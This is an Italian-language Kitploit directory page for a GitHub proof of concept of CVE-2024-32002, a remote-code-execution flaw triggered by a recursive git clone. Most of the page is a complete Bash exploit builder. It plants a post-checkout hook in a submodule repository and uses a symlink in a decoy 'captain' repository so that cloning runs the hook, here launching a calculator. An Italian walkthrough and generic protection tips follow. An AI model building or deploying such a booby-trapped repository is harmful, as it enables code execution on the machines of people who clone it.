Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-32002-poc — CVE-2024-32002 è una grave vulnerabilità in Git che consente a un attaccante di eseguire codice arbitrario a distanza (RCE) quando un utente esegue un'operazione git clone. | Kitploit
Strumenti/GitHubGitHub/bohemianhacks/cve-2024-32002-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubbohemianhacks/cve-2024-32002-poc

CVE-2024-32002-poc

CVE-2024-32002 è una grave vulnerabilità in Git che consente a un attaccante di eseguire codice arbitrario a distanza (RCE) quando un utente esegue un'operazione git clone.

Vedi Repository
1111 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Script Bash:

root@kitploit:~
#!/bin/bash

# Imposta le opzioni di configurazione di Git
git config --global protocol.file.allow always
git config --global core.symlinks true
# Evita messaggi di avviso (imposta il ramo predefinito su main)
git config --global init.defaultBranch main 

# Definisci il percorso del segnale rivelatore
tell_tale_path="$PWD/tell.tale"

# Inizializza il repository hook
git init hook
cd hook
mkdir -p y/hooks

# Scrivi il codice malevolo nell'hook, compatibile con Windows e macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF

# Rendi l'hook eseguibile: importante
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Definisci il percorso del repository hook
hook_repo_path="$(pwd)/hook"

# Inizializza il repository capitano
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Crea un collegamento simbolico
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

# Test locale (non necessario per GitHub)
git clone --recursive captain hooked

Spiegazione in italiano semplice:

Questo script Bash crea un repository Git malevolo che sfrutta una vulnerabilità (CVE-2024-32002) per eseguire codice dannoso quando qualcuno clona il repository.

Ecco una descrizione di ciò che lo script fa:

  1. Configura Git: Abilita alcune funzionalità necessarie per l'attacco.
  2. Crea un repository hook malevolo: Questo repository contiene uno script nascosto che verrà eseguito quando qualcuno lo clona.
  3. Crea un repository ingannevole: Questo repository, chiamato "captain", sembra innocuo ma contiene segretamente il repository hook malevolo come sottomodulo.
  4. Aggiunge un collegamento simbolico: Questo stratagemma viene usato per nascondere l'hook malevolo e farlo eseguire quando il repository viene clonato.

Quando qualcuno clona il repository "captain", lo script malevolo verrà eseguito sul suo computer, portando potenzialmente a conseguenze dannose come:

  • Installazione di malware: Lo script potrebbe scaricare e installare software dannoso.
  • Furto di dati: Potrebbe rubare informazioni sensibili dal computer della vittima.
  • Compromissione del sistema: Lo script potrebbe ottenere accesso non autorizzato al sistema.

Per proteggerti da tali attacchi:

  • Mantieni aggiornato il tuo client Git: Assicurati di avere l'ultima versione per correggere le vulnerabilità.
  • Fai attenzione quando cloni repository: Clona solo repository da fonti attendibili.
  • Usa un programma antivirus affidabile: Questo può aiutare a rilevare e bloccare software dannoso.
  • Fai attenzione agli attacchi di phishing: Evita di cliccare su link sospetti o scaricare file da fonti sconosciute.

Seguendo queste precauzioni, puoi ridurre significativamente il rischio di cadere vittima di attacchi simili.

Scarica lo strumento